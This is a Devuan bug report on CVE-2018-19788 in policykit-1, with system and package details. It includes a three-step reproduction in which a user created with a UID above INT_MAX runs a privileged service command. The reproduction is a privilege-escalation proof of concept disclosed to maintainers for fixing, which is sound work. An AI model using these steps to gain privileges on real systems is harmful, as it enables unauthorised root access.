Subject: bug#268: policykit-1: CVE-2018-19788

From: Berbe <[email-masked]>
Date: Fri, 07 Dec 2018 18:41:08 +0100

Package: policykit-1
Version: 0.105-18+devuan2.11
Severity: critical

Dear Maintainer,

Following CVE-2018-19788, it seems the current stable 0.105-18+devuan2.11 is susceptible to the bug in policykit-1 package from upstream, allowing any user with UID > INT_MAX to have access to root commands:

1. service nginx status
-bash: service: command not found
2. sudo useradd -u 4000000000 test
3. sudo -u test service nginx status
nginx is running.

-- System Information:
Distributor ID:	Devuan
Description:	Devuan GNU/Linux 9 (n/a)
Release:	9
Codename:	n/a

Architecture: x86_64

Kernel: Linux 4.9.0-8-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages policykit-1 depends on:
ii  dbus                   1.10.26-0+deb9u1
ii  libc6                  2.24-11+deb9u3
ii  libglib2.0-0           2.50.3-2
ii  libpam0g               1.1.8-3.6
ii  libpolkit-agent-1-0    0.105-18+devuan2.11
ii  libpolkit-backend-1-0  0.105-18+devuan2.11
ii  libpolkit-gobject-1-0  0.105-18+devuan2.11

policykit-1 recommends no packages.

policykit-1 suggests no packages.

-- no debconf information